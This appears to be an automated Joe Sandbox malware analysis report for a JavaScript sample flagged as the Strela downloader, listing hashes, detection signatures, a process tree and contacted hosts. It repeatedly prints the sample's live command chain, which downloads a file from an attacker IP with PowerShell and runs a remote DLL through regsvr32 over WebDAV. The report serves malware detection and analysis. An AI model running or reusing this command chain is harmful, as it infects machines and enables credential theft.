Edit tour

Windows Analysis Report
1492619129759821343.js

Overview

General Information

Sample name:	1492619129759821343.js
Analysis ID:	1588235
MD5:	a9a5afeebefff40869f3365918ad2ee2
SHA1:	f77da47167c39138c5eb7c6996bb57e845e55963
SHA256:	b4f3575cd778070d99d458d8a33d6ac3a974900c550d9194c6dda6531bf4da9a
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1584 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1492619129759821343.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4784 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6684 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1596 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2300 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7208 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1624,i,10752542739591527044,16325113130440687339,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5704 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6956 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5268 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1584	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4784, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6684, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4784, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6684, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1492619129759821343.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1492619129759821343.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1492619129759821343.js", ProcessId: 1584, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1492619129759821343.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1584, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, ProcessId: 4784, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1492619129759821343.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1584, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, ProcessId: 4784, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1492619129759821343.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1584, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, ProcessId: 4784, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1492619129759821343.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1584, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, ProcessId: 4784, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1492619129759821343.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1584, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, ProcessId: 4784, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1492619129759821343.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1492619129759821343.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1492619129759821343.js", ProcessId: 1584, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4784, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6684, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5704, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6956, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5268, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5704, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6956, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1492619129759821343.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1584, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, ProcessId: 4784, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1492619129759821343.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1492619129759821343.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000002.2219905649.000001F2E7A71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2306814697.00000248D4D78000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2306814697.00000248D4DA8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2306814697.00000248D4DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2306814697.00000248D4DA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/F
Source: net.exe, 00000007.00000002.2306814697.00000248D4DA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/V
Source: net.exe, 00000007.00000002.2306814697.00000248D4DA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/r
Source: net.exe, 00000007.00000002.2306814697.00000248D4D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000009.00000002.3506574499.0000020561A11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2317464439.0000020561800000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1584, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1492619129759821343.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5060:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zceyei1h.0yc.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

